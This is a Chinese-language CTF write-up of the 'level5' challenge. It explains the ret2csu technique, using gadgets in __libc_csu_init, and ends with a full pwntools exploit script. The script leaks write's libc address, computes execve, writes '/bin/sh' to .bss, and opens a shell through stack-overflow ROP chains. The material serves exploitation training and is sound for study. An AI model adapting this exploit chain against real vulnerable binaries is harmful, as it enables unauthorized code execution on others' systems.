level5(ctf-wiki)¶
__libc_csu_init函数会对libc进行初始化,因此当我们找不到合适的与寄存器相关的gadgets时,我们可以从 __libc_csu_init入手寻找gadgets
首先使用objdump观察__libc_csu_init
运行一下程序
发现是一个简单的输入程序
调用了read函数读取输入
那么首先利用pattern找到溢出点
程序中没有system函数和\bin\sh字符串,所以需要通过输入的方式进行构造
利用的四个步骤:
1、通过溢出执行write函数泄露出write函数本身的地址,再跳回到main函数中继续执行。
2、利用write函数的地址确定对应的libc版本,然后算出execve的位置。
3、通过溢出执行read函数,将execve与关键字符串写入到bss段中,再跳回到main函数继续执行。
4、通过溢出执行bss段内的execve函数。
需要涉及到的知识点
1、64位程序的前六个参数通过寄存器传递。%rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函数参数,依次对应第1参数,第2参数。。。
2、read函数可以进行输入,write函数可以进行输出,fd=0为标准输入,df=1为标准输出。
完整代码
from pwn import * from LibcSearcher import * context.terminal = ['gnome-terminal','-x','sh','-c'] level5 = ELF("./level5") sh = process("./level5") bss_base = level5.bss() write_got = level5.got['write'] read_got = level5.got['read'] main_addr = level5.symbols['main'] csu_mov_addr = 0x0000000000400600 # mov rdx, r13 ;mov rsi, r14 ;mov edi, r15d ;call qword ptr [r12+rbx*8];add rbx, 1;cmp rbx, rbp;jnz hort loc_400600; csu_pop_addr = 0x000000000040061A #pop rbx; pop rbp;pop r12;pop r13;pop r14;pop r15; payload1 = 'a' * 136 payload1 += p64(csu_pop_addr) + p64(0) +p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) payload1 += p64(csu_mov_addr) payload1 += 'a' * 56 payload1 += p64(main_addr) sh.recvuntil('Hello, World\n') sh.send(payload1) sleep(1) write_addr = u64(sh.recv(8)) print hex(write_addr) libc = LibcSearcher('write',write_addr) libc_base = write_addr - libc.dump('write') execve_addr = libc_base + libc.dump('execve') print hex(execve_addr) payload2 = 'a' * 136 payload2 += p64(csu_pop_addr) + p64(0) +p64(1) + p64(read_got) + p64(16) + p64(bss_base) + p64(0) payload2 += p64(csu_mov_addr) payload2 += 'a' * 56 payload2 += p64(main_addr) sh.send(payload2) payload3 = p64(execve_addr) + '/bin/sh\x00' sh.send(payload3) sh.recvuntil('Hello, World\n') payload4 = 'a' * 136 payload4 += p64(csu_pop_addr) + p64(0) +p64(1) + p64(bss_base) + p64(0) + p64(0) + p64(bss_base+8) payload4 += p64(csu_mov_addr) payload4 += 'a' * 56 payload4 += p64(main_addr) sh.send(payload4) sh.interactive()